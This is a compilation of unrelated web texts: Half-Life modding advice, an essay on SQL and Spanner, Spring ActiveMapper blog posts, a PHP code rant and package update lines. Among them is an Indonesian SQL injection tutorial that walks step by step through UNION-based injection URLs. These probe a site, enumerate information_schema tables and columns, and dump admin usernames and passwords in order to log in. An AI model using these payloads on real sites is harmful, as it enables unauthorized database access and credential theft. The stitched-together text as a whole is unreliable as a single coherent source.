error C2059: syntax error : ')' 1>c:\users\toshiba\desktop\d\p90.cpp(169) : error C2065: 'P90_FIRE_DELAY' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(172) : error C2065: 'P90_FIRE_DELAY' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(172) : error C2065: 'P90_FIRE_DELAY' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(178) : error C2065: 'P90_RELOADLAST' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(178) : error C2065: 'P90_RELOAD_TIME' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(206) : error C2653: 'CP90AmmoClip' : is not a class or namespace name 1>c:\users\toshiba\desktop\d\p90.cpp(208) : error C3861: 'Precache': identifier not found 1>c:\users\toshiba\desktop\d\p90.cpp(209) : error C2065: 'pev' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(210) : error C2352: 'CBasePlayerAmmo::Spawn' : illegal call of non-static member function 1> c:\users\toshiba\desktop\d\src_dll\dlls\weapons.h(368) : see declaration of 'CBasePlayerAmmo::Spawn' 1>c:\users\toshiba\desktop\d\p90.cpp(214) : error C2653: 'CP90AmmoClip' : is not a class or namespace name 1>c:\users\toshiba\desktop\d\p90.cpp(221) : error C2653: 'CP90AmmoClip' : is not a class or namespace name 1>c:\users\toshiba\desktop\d\p90.cpp(224) : error C2065: 'P90_MAX_AMMO' : undeclared identifier 1>c:\users\toshiba\desktop\d\p90.cpp(227) : error C2065: 'pev' : undeclared identifier[/code]

He didn't knew how to fix them and I assumed he didn't looked properly at the error messages and/or didn't learned C/C++ programming (@LastLifeOfficial: if you read this, no offense intended) he asked me how he could fix those errors and I replied with the following:

[code]Maybe you missed "class" in front of "CP90AmmoClip", it should be "class CP90AmmoClip : public CBasePlayerAmmo". This is causing all the issues with CP90AmmoClip, pev and Precache. Take a look at "CGlockAmmo" in "hl_wpn_glock.cpp" or "CMP5AmmoClip" in "mp5.cpp", copy/paste and tweak for your P90. You may have forgotten to make those defines at the beginning of "p90.cpp" or in "weapons.h" like this: #define P90_MODEL_1STPERSON "models/weapons/v_p90.mdl"[/code]

And the errors were fixed and he was happy that everything was working. In some situations, a "rebuild" (cleaning the solution and building it again) may solve one or more problems. I also warned him on the fact that looking at the error messages are enough to get the solution to the problem and learning C/C++ might help in the future.

I also want to make sure that everyone makes the difference between an error and a warning. An error is a problem in your code that prevent compilation (like the examples above). A warning is potentially a problem in your code that don't prevent compilation but can produce an unexpected behavior like a bug or an in-game crash. If you are using the Half-Life 1 SDK from GitHub, you will see the warnings C4028 (mismatch < or > with unsigned/signed variable), C4058 (variable declaration in loop is used outside of it, assuming the last iteration for the rest of the code), C4996 (POSIX declarations blahblah, use _function instead of function or add define CRT_THINGY). The first two can be easily fixed and the last one can be ignored (otherwise you will break the code for Linux and OSX).

[quote]

Morale: Don't open your web browser, copy/paste in Google your compile errors as soon as you've got one. Look at the error for the solution, attempt to fix it yourself and learn from your mistakes. Make the difference between an "error" and a "warning".

[/quote]

Number 6: Keep it small and optimized, avoid usage of librairies and platform specific code if possible

In most of the C++ programming tutorials, you learn how to use the STD library. In Gold Source programming, avoid that if you can. In some situations, you may be forced to use the STD library or another one for a specific task.

Example 1: Your mod need to communicate through the Steam API to check if the player is member in a specific Steam group OR query a database on a server to check if the player is a donor or not, you may need to use the CURL or MySQL library, in that case, it's fine.

Example 2: Your mod is using the PARANOIA's renderer which means using OpenGL libraries, it's fine.

Example 3: Your mod need a music system to replace the CD system of Half-Life which means using FMOD/OpenAL/WWise librairies, it's fine.

Example 4: You are making an advanced inventory system and need to store the items in a list and you consider using lists from the STD library. WRONG, consider using arrays if you can.

Example 5 : You have trouble manipulating text in strings with basic char, char array and char pointer, and you use the string type from the STD library. WRONG, look at how functions/methods for string manipulation like "strstr", "sprintf" works...

Try to respect the "standards" of Gold Source programming, look at how Valve has coded Half-Life and try to do the same. Everything I said about librairies also applies to using platform specific code (the famous "#ifdef WIN32"), avoid using Windows specific code if possible, use it only if it's a must (querying Windows's registry for instance).

[quote]

Morale: Only use librairies if you can't accomplish a specific task without it. Always make cross-compatible code by avoiding platform specific code as much as possible.

[/quote]

Number 7 : Start from small, to achieve bigger

In other words, don't start creating a physics engine or converting Gold Source into Unreal Engine 4 if you don't know how to make a minor modification like tweaking/adding a weapon/monster and such. This also applies to mods as well.

Many people want to create a very complex mod like for instance a racing mod or a RPG mod or an ARMA style mod with shiny new particles effects and all that kind of stuff without having gained enough experience with the Half-Life source code first.

Start with small things first, tweak values around the source code and see what are the differences. Then add new stuff and see how it works. Try to set yourself some challenges like "Today, I'm gonna code a Opposing Force like Sniper Rifle", "I'm gonna code a prone mechanic to the player", and then, you will be able to set bigger challenges like "I'm gonna code a Deus Ex like conversation system" or "more complex hit detection system like HL: Invasion".

[quote]

Morale: Start by making minor modifications to gain experience that allow you to do bigger modifications in the future.

[/quote]

Number 8 : Code, test, debug, test more, debug more, MOAR TEST, MOAR DEBUG aka the "epic win cycle"

This is very important and I can't stress it enough: debugging and testing helps a lot. You have powerful debugging tools and it's a shame to not use them. Remember that debugging will tell you where your errors are and not how to fix them.

The first form of debugging is printing messages into the console, it is very easy and can be done this way (depending on which project you are coding):

[code=cpp]// Small snippet for the client project gEngfuncs.Con_Printf( "Attempting to get pointer to the player\n" ); cl_entity_t *pPlayer = gEngfuncs.GetLocalPlayer(); if ( pPlayer == NULL ) gEngfuncs.Con_Printf( "Failed to get pointer to player!\n" ); else gEngfuncs.Con_Printf( "I have the pointer to the player!\n" ); // Small snippet for the server project ALERT( at_console, "Attempting to find \"monster_barney\"\n" ); CBaseEntity *pBarney = NULL; while ( (pBarney = UTIL_FindEntityByClassname( NULL, "monster_barney" )) != NULL ) { ALERT( at_console, "I\'ve found a Barney!\n" ); ALERT( at_console; "His position is X = %f, Y = %f, Z = %f\n", pBarney->pev->origin.x, pBarney->pev->origin.y, pBarney->pev->origin.z ); }[/code]

The second form of debugging is setting breakpoints in your code, run the debug, replicate the steps to have the bug/crash and once the breakpoint is reached, step into the code and look what is right and what is wrong. If your C/C++ tutorials are good, they should teach you how to do that.

Testing is also very important, don't hesitate to test for minutes or even hours even for small things like weapons, items... Sometimes, having beta-testers can also be helpful to track bugs that you wouldn't find out by yourself. Something worth a note: test in "normal cases" scenarios, something that work in a map might not work in another or that something could break if you are dying/dead and/or during a map transition. Something that work with the "kill" command may not work with a "normal" death...

[quote]

Morale: Don't be afraid to make a huge amount of tests even for a small things, use debugging tools a lot and test in normal cases scenarios (aka don't force situations).

[/quote]

Number 9 : Don't make your eyes and those you might ask to help you bleed, always keep your code organized and clean

When I see code written like this:

[code=cpp]void mymonster::TraceAttack(entvars_t *a, float da, Vector di, TraceResult *tr, int bdt) {if(ptr->iHitgroup==HITGROUP_CHEST || ptr->iHitgroup==HITGROUP_STOMACH) {if(bdt & (DMG_BULLET|DMG_SLASH|DMG_BLAST)) {da = da / 2;} else if(ptr->iHitgroup==10) {if(bdt & (DMG_BULLET|DMG_SLASH|DMG_BLAST)) {da -= 20; if (da <= 0) {UTIL_Ricochet(ptr->vecEndPos,1.0);da=0.01;} ptr->iHitgroup = HITGROUP_HEAD;}} CTalkMonster::TraceAttack(a, da, di, bdt);}[/code]

I don't want to read it, it hurt my eyes and I think it hurt yours too, how can you even find if there is a bug there? How you can even read something like that? This is the same code but written properly:

[code=cpp]// TraceAttack - Trace the attack and react to it void CBarniel::TraceAttack( entvars_t *pevAttacker, float flDamage, Vector vecDir, TraceResult *ptr, int bitsDamageType ) { // Where I have received the attack? switch ( ptr->iHitgroup ) { case HITGROUP_CHEST: case HITGROUP_STOMACH: // Divide the damage by 2 if it's a bullet, explosion or blade attack because I have a kevlar if ( bitsDamageType & (DMG_BULLET | DMG_SLASH | DMG_BLAST) ) flDamage = flDamage / 2; break; case 10: // Right in my helmet // Is that a bullet, blade or blunt damage? if ( bitsDamageType & (DMG_BULLET | DMG_SLASH | DMG_CLUB) ) { // Reduce the damage a lot and make a ricochet if my helmet fully protected me flDamage -= 20; if ( flDamage <= 0 ) { UTIL_Ricochet( ptr->vecEndPos, 1.0 ); flDamage = 0.01; } } // Consider it was a headshot ptr->iHitgroup = HITGROUP_HEAD; break; } CTalkMonster::TraceAttack( pevAttacker, flDamage, vecDir, ptr, bitsDamageType ); }[/code]

See how much clearer it is to read the code? I admit that some comments aren't necessary because we clearly see what some parts of the code does, but see how the indentation, the explicit variables names made incredible differences with the bad looking code. So always keep an habit of writing code that is good and clear to read.

[quote]

Morale: For yourself and for other people that might read your code in order to help you, always keep it clean, organized and simple. Messy/unreadable code will just hurt people eyes and they may ignore you.

[/quote]

Number 10 : Copying/pasting code will not make you a programmer

This is also one of the common mistake of any modder for any engine/game/mod, they see tutorials or code about something they are interested in to add in their mod, they copy/paste the code, they test and they are crying "OMFG IT'S NOT WORKING!!!" or "HOW DO I ADD THIS STUFF?!?!".

Copy/paste is something that anyone can do very easily, I've learned copy/paste at the age of 2. Even older people who have trouble doing basic stuff like printing/scanning documents, starting some complex applications, installing/uninstalling softwares know how to copy/paste.

Copying/pasting code is something that you should ban, especially if the code was designed for another SDK and/or it is known to be bugged/non-working. Instead, look at the code and understand what it does and how it works, and then try to make your own code with what you have learned from the other people. Don't (re)type every line of code of the original author as it would be the same as copy/paste.

Copying/pasting existing code in the SDK is fine as long as you understand the code that you are going to copy/paste. For instance, copy/paste the Glock code to make an USP is fine as you have understood what the Glock code does.

[quote]

Morale: Ban the "copy/paste code from tutorials/source code" syndrome, look at how other people achieved and how you can do the same without reproducing the original author's code. The only situation where copying/pasting code is fine is from existing code as long as you've understood the original code.

[/quote]

Bonus for multiplayer mods : Friendly penguins say : "Love us, or your multiplayer mod will die" aka support Linux or face the consequences

Windows is not the only operating system to exist in the world, there are many more and Linux is one of them. Why Linux? Because it's the most popular operating system for servers of any kind in the world. Google/Facebook/Twitter servers are powered by Linux, Android is powered by Linux, most of embedded systems like GPS, radios are powered by Linux. And I will conclude that most of Valve's games servers provided by the community are running under Linux. Some enterprises/people/entities prefer Linux (or OSX) rather than Windows, in my university, Windows XP is only present for students learning foreign languages, everything else (IT/maths/chemistry) is powered by Linux/OSX.

Many multiplayer mods (not all of them) were released without at least dedicated server support for Linux and they've failed to have many community servers for that reason. If you want to have a huge boost of community servers for your multiplayer mod, you will have to support Linux.

There are many ways to have Linux on your computer, either by "dual-booting" or using a virtual machine (with "Oracle VirtualBox" or "VMWare"), Google is your friend. Learn how Linux works and what are the differences between programming for Linux/Windows. And once you are ready, start porting your mod on Linux.

[quote]

Morale: Don't think Windows is the only operating system in the world because it is very popular, Linux is the most used operating system for servers and you are taking huge risks if you don't support it.

[/quote]

Bonus : Solo or working with other developers, learn and use version control software like Git

For years, sharing codes has been a huge pain, between conflicts, compile errors and all. This is why version control software (VCS) have been created.

Valve have been using and I think they still uses a paid solution called Perforce (P4), but there are also free very known alternatives like SVN, Git. I'm going to redirect you to this one hour and half YouTube video which is an introduction to Git and how powerful it can be to you alone and/or if you are in a team of multiple programmers.

In ARRANGEMENT's case, we use Git and it has saved and helped many of the programmers in a ton of different situations.

[quote]

Morale: While not mandatory, a version control software can save your life (and your mod's life too) in many situations, solo like in a team.

[/quote]
          YeSQL? How a Spanner changes the toolbox   
web scale?

The world of data continues to evolve. The last explosion was with the push on the NoSQL bandwagon. In the rush to solve the problem of not being able to scale that Oracle DB, many ended up giving up a lot along the way. Maybe, the problem wasn’t SQL after all, it was more dealing with the growth in data. It was one thing to have client server apps that needed data, but once we got to the infamous “web scale” we started to run into problems.

The database crew tried hard to keep us tied to the database. Stored procedures resulted in the SQL DSL becoming more and more complex and divergent (I was on the Sybase side which was much superior to Oracle!! :)

Then desperation kicked in and the JVM was put into the database itself to be close to the data.

MySQL and memcached got us a long way, and then there was a split. A lot of the scaling issues were revolving around the desire to normalize your data, and the JOIN hell couldn’t perform. One solution was to denormalize and treat your MySQL bigtable-style and give up on some of the relational concepts in the DB, handling that in the app layer (the opposite direction to stored procs).

Other’s jumped in on “NoSQL”, leaving behind the SQL and relational world. The path to scaling was eventual consistency. Different data models. An explosion of new approaches came into being, which has been exciting even if it has come with some pain (choice, immaturity).

We can unbundle the various trade offs. With Spanner, for example, you can benefit from the ecosystem and tools around SQL, but handle scaling and cheating around CAP theorem. Being able to make the choice to not give up SQL, but get consistency benefits, changes the fundamentals involved in making a choice.

Now, SQL can certainly be frustrating. We have lived through the ORM years, and how much code have you written that marshals between strings and the relational model as we map to an OO model. If you believe in type systems, it can feel like clawing your eyes out when you see code that converts between the boundaries. Whenever you bridge between worlds like this (e.g. JavaScript to native land in React Native) you are holding your nose and valuing the benefits that you get on the other side.

SQLite did such a good job as an embedded database that we ended up getting it on all platforms, including mobile. This is a lil confusing at times. Many of the benefits with SQL are on the backed (OLAP, OLTP, etc) and having to go through the mapping often feels like real overkill. Wouldn’t it be nicer to take your application state, and users data, and just …. save it? Thus we got solutions that allowed you to do just that, and then tackle other problems such as the notion of multiple clients and real-time (e.g. the original Firebase real time database!). For many applications being able to use a tool such as Firebase is a great solution as it is easy to reason with for multiple clients, and you get a rich way to query for more complex use cases.

But, what about other use cases? I was working on a knowledge base system that allowed you to store your own sets of knowledge, and also share this data with other users. This predated noms (from the amazing Aaron Boodman and team) that gives you “git for data” feel. Our solution was more of a shared graph, so it naturally fit with a graph database. At first we used Neo4j, and then GraphQL came along which gives you an interface on top of various stores.

We needed the following:

  • The user will have data that needs to be sync’d across all of their devices and surfaces
  • The data can be connected to multiple users
  • Users could shared edit at times
  • Users could also fork data (and merge) to allow for differing content without siloing forever
  • Have as much data as possible on device so it works offline.

As soon as the system is big you get into obvious conditions. Most of the time “your own” data could always be available on device. But the shared knowledge graph was often too large. We had to come up with good strategies to sync a subset of the overall graph. When running searches we needed to run multiples queries: on locally to get you results asap, and another to the backend to gather others that were out of our local scope.

This resulted in a bunch of infrastructure work, and I am still on the lookout for better solutions (I would love to hear your thoughts!). I really enjoyed using a graph database in this context as it truly fit.

As we build offline first, there is still room for solutions that truly nail the experience for client developers, and still give you the data you need on the backend. I am excited to see the energy in the database market these days and how it nicely maps into the reactive world where data changes cause UI updates. The data change can stream in from a user interaction, or from the backend, and it doesn’t matter!

NoSQL is still evolving. Graph databases are a new hotness. And we keep seeing new entrants but I am also really excited to see SQL itself getting a shot in the arm with Spanner. I sit back and imagine SQL on the client and server with a sync solution in between and wonder…….


YeSQL? How a Spanner changes the toolbox was originally published in Ben and Dion on Medium, where people are continuing the conversation by highlighting and responding to this story.


          Belajar SQL Injection   
Cara ngehacking web atau biasa disebut web attack sangat banyak caranya, salah satunya dengan cara SQL injection.
apa itu SQL injection ?
SQL injection terjadi ketika attacker bisa meng-insert beberapa SQL statement ke ‘query’ dengan cara manipulasi data input ke applikasi tsb.

oke, mari kita simak bersama-sama.
1. Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah
http://www.target.com/berita.php?id=100
2. Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
Contoh :
http://www.target.com/berita.php?id=100'
atau
http://www.target.com/berita.php?id=-100
4. Maka akan muncul pesan error…
“You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1″ Dan masih banyak lagi macamnya.
5. Next step adalah mencari dan menghitung jumlah table yang ada dalam databasenya…
Disini kita akan menggunakan perintah order by
Contoh :
http://www.target.com/berita.php?id=100+order+by+1/*
Hohoho…apalagi itu “/*” ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake “–”. Terserah aja…
Kalo “+” sebagai penghubung perintah…
6. Nah sampe sini langsung dah nyobain satu2…
http://www.target.com/berita.php?id=100+order+by+1/* (gak ada error)
http://www.target.com/berita.php?id=100+order+by+2/* (gak ada juga)
http://www.target.com/berita.php?id=100+order+by+3/* (capek dah)
http://www.target.com/berita.php?id=100+order+by+4/* (jangan nyerah)
Sampai muncul error…
Misalkan errornya disini…
http://www.target.com/berita.php?id=100+order+by+10/*
Berarti yang kita ambil adalah “9″
http://www.target.com/berita.php?id=100+order+by+9/*
7. Untuk mengetahui berapa angka yang show sekarang kita pake UNION
Contoh :
http://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9/*
Trus perhatikan angka berapa yang keluar (Kayak togel aja… ;p)
8. Misalnya angka hoki yang keluar adalah “3″ maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah “version()” atau “@@version”
http://www.target.com/news.php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*
Atau
http://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*
9. Nah kalo versinya 5 langsung aja pake perintah “information_schema” untuk melihat tabel dan kolom yang ada pada database…
Contoh :
http://www.target.com/berita.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*
Nah katanya kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL. Tapi waktu itu gua gak pake keliatan kok tabelnya…Apa gua salah? Mungkin tapi sekarang yang gua mau jelaskan adalah VERSI DAN PENGALAMAN GUA. Mungkin agak lain…ya maklum lah baru belajar…Hehehe…
Misalnya yang lo liat adalah table “admin”
Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata “table”-nya…
Contoh:
http://www.target.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*
Misalnya kolom yang keluar adalah “password” dan “username”
Langsung aja kita liat isinya…
Contoh :
http://www.target.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/*
dan
http://www.target.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*
Bisa diliat dah username ama passwordnya…Tinggal login…Cari yang asik terus…Terserah Anda…
—————————————————



          graphics/gdal - 2.2.0_1   
Use USES=mysql
          ftp/pure-ftpd - 1.0.46   
Use USES=mysql
          ActiveMapper - Part 2 - kick-start your DAOs.   

In an earlier post I described a new "ActiveMapper" implementation that will provide simple mapping between Java objects and database tables based on available metadata. I have now added support for additional databases and the basics have been tested on PostgreSQL, HSQL, MySQL and Oracle. The code is now checked in to the Spring Modules project's sandbox and I have an alpha version available for download so anyone interested can play around with the functionality.

It's important to note that ActiveMapper does not aspire to be an O/R Mapping framework - it simply maps data between a database table and a Java class. There is no intention of providing support for any relationships, caching or other advanced features. You can easily provide simple relationship mapping yourself and I will post about this in a future post. You would just have to override the methods "completeMappingOnFind" and "completeMappingOnSave" providing your own custom code doing the mapping here.

ActiveMapper is intended to be used to kick-start your DAOs when you have full control over the database layout and when there is a 1-1 mapping between your Java classes and the database tables. There are much better solutions available if you need more advanced features.

I'm still working with my Beer example and this is the database table and the corresponding Java class:


CREATE TABLE BEERS (

  ID INTEGER NOT NULL,

  BRAND VARCHAR(50),

  PRICE DECIMAL(15,2),

  PRIMARY KEY(ID));

public class Beer {

    private Long id;

    private String brand;

    private BigDecimal price;

    .. setters/getters

}


The best way to use the ActiveMapper is to have your DAO extend the ActiveMapper class. That way you can easily swap it out at a later point when you need more functionality. The ActiveMapper now extends JdbcDaoSupport so dataSource and JdbcTemplate are provided in the usual Spring way. This makes it easy to swap out the ActiveMapper for your own implementation later on. Here is an example of my BeerDao implementation:

import com.springcheers.model.Beer;
import org.springmodules.datamap.jdbc.sqlmap.ActiveMapper;

import java.util.List;

public class BeerDaoMapper extends ActiveMapper implements BeerDao {

    public BeerDaoMapper() {
        super(Beer.class);
    }

    public Beer getBeer(Long id) {
        return (Beer)super.find(id);
    }

    public void addBeer(Beer beer) {
        super.save(beer);
    }

    public void updateBeer(Beer beer) {
        super.save(beer);
    }

    public void deleteBeer(Beer beer) {
        super.delete(beer);
    }

    public List getAllBeers() {
        return super.findAll();
    }
}

This is wired up in a Spring application context just like any other DAO is wired. Just provide a data source:

    <bean id="propertyConfigurer" class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer">
          <property name="location" value="src/jdbc.properties"/>
    </bean>

    <bean id="dataSource" class="org.apache.commons.dbcp.BasicDataSource" destroy-method="close">
        <property name="driverClassName" value="${driverClassName}"/>
        <property name="url" value="${url}"/>
        <property name="username" value="${user}"/>
        <property name="password" value="${password}"/>
    </bean>
    
    <bean id="beerDao" class="BeerDaoMapper">
        <property name="dataSource" ref="dataSource"/>
    </bean>

Here is the SQL you need to create the table and identity/sequence to support the corresponding key generation strategy:

MySQL:
======	
CREATE TABLE Beers (
  id INTEGER NOT NULL AUTO_INCREMENT,
  brand VARCHAR(50),
  price DECIMAL(15,2),
  PRIMARY KEY(id))

HSQL:
=====
CREATE TABLE Beers (
  id INTEGER NOT NULL,
  brand VARCHAR(50),
  price DECIMAL(15,2),
  PRIMARY KEY(id));

CREATE TABLE Beer_seq (value IDENTITY);
INSERT INTO Beer_seq (value) VALUES(0);

PostgreSQL/Oracle:
==================
CREATE TABLE Beers (
  id INTEGER NOT NULL,
  brand VARCHAR(50),
  price DECIMAL(15,2),
  PRIMARY KEY(id));

CREATE SEQUENCE Beer_seq
  START WITH 5;

Test data:
==========
insert into Beers (id, brand, price) values(1, 'Budweiser', 19.50);
insert into Beers (id, brand, price) values(2, 'Heineken', 23.55);
insert into Beers (id, brand, price) values(3, 'Spring Ale', 25.95);
insert into Beers (id, brand, price) values(4, 'Bass', 24.55);

Try it out, and give me some feedback. I know there are many things that can be improved in terms of error checking and error feedback but the basic functionality is already working pretty well.


          ActiveMapper - Part 1 - automatic mapping between database table and a Java class.   

Every time I define a simple mapping between a Java class and a corresponding database table I tend to think that somehow this could be a lot easier. Why do we have to provide mappings for the really simple cases? Look at this table and java class:

CREATE TABLE BEERS (

  ID INTEGER NOT NULL,

  BRAND VARCHAR(50),

  PRICE DECIMAL(15,2),

  PRIMARY KEY(ID));

public class Beer {

    private Long id;

    private String brand;

    private BigDecimal price;

    .. setters/getters

}

How hard is this really? I think that most of us could figure this one out. Now, granted, there are much more complex cases and also foreign key - relationship mappings to take into account. But, if the easy stuff was taken care of, then a we would only have to worry about the more interesting aspects.

Enter Ruby on Rails with its mapping support in Active Record. I really liked their approach of basing the mapping on some simple assumptions on naming tables and columns using a certain pattern. I happen to like their choice anyway, so the automatic mapping immediately looked like an attractive solution. The only part I had a problem with was the requirement that your persistent domain objects had to extend a certain Active Record base class. I have a hard time justifying tying any domain objects to a specific framework. It just seems like a bad and unnecessary dependency to me.

Anyway, I think that Active Record is a neat solution and I have been thinking that it is a shame that there is nothing like it in the Java space. To fill that void I have been prototyping a DataMapper that would provide the basic mappings, yet allowing us to extend it to provide any of the more complex cases if we needed to. I’m calling this solution ‘ActiveMapper’ and here is an example of how you would use it:

DataMapper beerMapper = new ActiveMapper(dataSource, Beer.class);
Beer b = (Beer)beerMapper.find(new Long(1));

I did not have to provide any mapping file -- it’s all based on JDBC meta data and reflection, plus assumptions similar to what Active Record uses. I can also create new instances and save them to the database.

Beer newBrew = new Beer();
newBrew.setBrand("Amstel");
newBrew.setPrice(new BigDecimal("12.44"));
beerMapper.save(newBrew);

The id will be populated based on a primary key generation strategy depending on that database. For Oracle/PostgreSQL we will use a sequence and for MySQL we can use identity column and pick up the generated key with the getGeneratedKey method on a JDBC 3.0 compliant driver.

All of the existing functionality is built on top of Spring’s JdbcTemplate and at some point when I have enough functionality nailed down, I will put the source under some open source project -- most likely as part of Spring Modules. I'll post some more about this the next couple of days, and I will also provide a download of the prototype at some point.


          Sobre las Bases de Datos…   
En el MPWAR de La Salle se enseñan conceptos de bases de datos. MySQL es el gestor de bases de datos más usado en el mundo web. Por ejemplo, Facebook utiliza MySQL para gestionar los millones de usuarios que tiene registrados : https://www.facebook.com/MySQLatFacebook/. En el Máster se estudia MySQL en profundidad pero además se enseña a ...[ seguir leyendo ]
          Diseño de Paginas web- software - Trabajo Freelance   
Diseño de Paginas web en wordpress, joomla, html5,css,css3,php, mysql, base de datos sql server 2008,java, asp.net,jquery,c# , visual studio 2010, visual studio 2015, visual studio 2013, android studio
          (Bash) Get MySQL variable from command line - kurokikaze   


          Automation Engineer - IPsoft - Canada   
Nagios, MySQL, Java, Perl (or PHP), application servers (Tomcat, JBoss, Weblogic, Websphere, ATG, Resin). No engineer wants to tighten the same bolt over and...
From IPsoft - Thu, 11 May 2017 17:28:09 GMT - View all Canada jobs
          Microsoft voli Linux?   

Microsoft je objavio SQL Server vNext CTP1 za Linux. Onako izdaleka, preko medija, čini se da Microsoft stvarno voli Linux, otvoreni kod i sve ono za što je nekada tvrdio da je rak koji zarazi sve što dotakne. Microsoft koji je stvorio strategiju Embrace, extend and extinguish???

Microsoft je kompanija koja odgovara svojim dioničarima koji očekuju da ta kompanija zarađuje novce. Nema tu previše mjesta za emocije. Samo posao. Microsoftovo otvaranje i polako širenje na druge platforme (ovih dana najavljen je i Visual Studio for Mac) je poslovna nužnost, zadovoljavanje stalne potrebe za rastom i širenjem. To što se radi o Linuxu, otvorenom kodu ili nekoj sličnoj napasti manje je važno. Sve dok iz tog smjera miriše novac. Naravno da SQL Server za Linux ne znači potpuni zaokret u strategiji, ali Microsoft si ne može dopustiti da nešto propusti ili da negdje zakasni. Debakl s mobilnom platformom ih je nečemu naučio.

Tipkovnice portalskih kolumnista su se užarile. Piše se sve i svašta, ne znam što čeka onaj s tekstom 12 stvari koje SQL Server može naučiti iz Game of Thrones? A i onaj Što je Microsoft naučio iz filma Troll? izgleda da ima kreativnu krizu.

No tu je 8 no-bull reasons why SQL Server on Linux is huge for Microsoft. Djelomično bi se složio s 3. točkom (This is a slap at Oracle), samo što to nije šamar već Microsoft želi napasti Oracle. Ima logike, stari dinosaur se usporio, stasala je nova generacija upravitelja po tvrtkama koji nemaju strahopoštovanje prema Oracleu i koji će ga bez problema zamijeniti nešto jeftinijim, ali još uvijek enterprise grade SQL Serverom.

Točka 4. je već na tragu gluposti. SQL Server nije ni na tragu opasnosti za MySQL/MariaDB i PostgreSQL. Ekosustav aplikacija koje se služe tim bazama nema potrebu za prelaskom na SQL Server. Razmišljanje i način rada većine tih developera poprilično je različit od onoga što propisuje Microsoft i načina na koji se radi sa SQL Serverom. Ono što nedostaje su i nativni klijenti za pristup bazi. Microsoft u svojim primjerima za Python navodi ODBC. Nisam siguran da developeri umiru od želje da ga koriste.

O ostalim trla baba tipke točkama iz navedenog članka ne vrijedi ni raspravljati.

Kuda ide Microsoft? Postoji li opasnost da se dogodi ono što je izjavio jedan korisnik Reddita da će Microsoft prijeći na Linux kernel, koristiti Wine za kompatibilnost i podršku starih aplikacija te da će Windowsi postati desktop environment (kao što su GNOME, KDE, Unity) za Linux? Nikad ne recite nikad. Ako padne udio prihoda od Windowsa i njihovo održavanje postane preskupo to je jedna od mogućnosti. I onda će ljubav biti još jača. Ljubav koja se mjeri u malim, zelenim komadima papira...


          PRESS RELEASE - MobiForms Mobile Development Tool Now Supports Full Remote Database Synchronisation   

The latest version of the MobiForms Advanced Edition mobile development tool now supports full remote database synchronisation with HTML5 apps. As well as supporting the creation of HTML5 apps the MAE continues to support the creation of traditional Native apps for Windows Mobile, Android and Apple iOS.

The MAE enables bi-directional data replication, sychronisation and offline buffering between just about any master back office database server or ERP package (such as Oracle Apps, SAP, Navision, Dynamics etc.), and any Native or HTML5 MobiForms client running on a host of platforms including Apple iPhone, iPad and iPad, and Android smartphones and tablets.  Supported back office database servers include Oracle, SQL Server, Access, Sybase, IBM DB2, SQLite, HSQLDB, Firebird and MySQL.

The MAE exploits the latest mobile web technology including the Web Socket data protocol and the presence of the SQLite database engine embedded as Web SQL in most modern mobile web browsers.

The MAE now provides all the tools necessary to support the full mobile development lifecycle for both Native and HTML5 database apps including:

  • Definition of database replication rules from the master database or ERP package
  • Creation and defintion of mobile users
  • Building a seed mobile database based on a subset of the master database
  • Creation of a mobile app using the seed mobile database
  • Deployment of the mobile app using the seed mobile database natively or Over The Air (OTA) via a web server in HTML5 mode
  • Bi-directional data replication and status updates between the master database and the mobile client database
  • Supports a corporate Bring Your Own Device (BYOD) strategy
  • Supports a corporate Cloud hosting strategy - can be hosted by any internal or external web server

Unlike most competing products, the MobiForms Advanced Edition offers a total solution for a once off licence fee without any of the traditional constraints.

The MobiForms Advanced Edition can be downloaded from the MobiForms web site at: http://www.mobiforms.com.


          Mired in quicksand   

Okay, I lied. I didn't know it at the time, but it undeniably so.

I have never particularly liked delving into someone else's code. There's always that feeling of disorientation that comes from looking at a landscape that was apparently painted by the love child of Pablo Picasso and Salvador Dali while on heavy-duty psychedelic drugs, and that's when the code is fundamentally sound. Let's face it, at a certain level, code is more a matter of art than engineering, and each of us has our own aesthetic. My artistic sensibilities are easily offended, but I can usually make allowances for taste by gritting my teeth and muttering "chacun a son gout" under my breath.

The code I was going to "fix", though, is diseased to the root. Patternitis, and a fatal case of it, I'm afraid. I tried a simple Façadectomy, but I found that the unnecessary wrappers had metastacised throughout the entire body. Why do people insist on doing this:

function proprietary_do_something($param) {
 return generic_do_something($param);
 }

Now, that kind of thing might be forgivable if one had created, say, a façade interface for a database connection and a particular database's class happened to correspond exactly to the interface. There is no trace of that kind of foresight here. For database activity, one basically has a choice between mySQL. And there is neither interface nor class to be seen — nothing but proprietary wrappers around native PHP functions. I have to be generous here and try to convince myself that the wrappers had once been necessary, but the fact that the only difference between the proprietary method names and the built-in ones is a prefix leads me to believe otherwise.

Then there are the multiple if statements in a single function that repeatedly test exactly the same conditions. To the Notes folk out there, many of these instances are the equivalent of:

@If(
 @IsError(@DbLookup("":"NoCache"; ""; "view"; key; 2);
 "";
 @DbLookup("":"NoCache"; ""; "view"; key; 2))

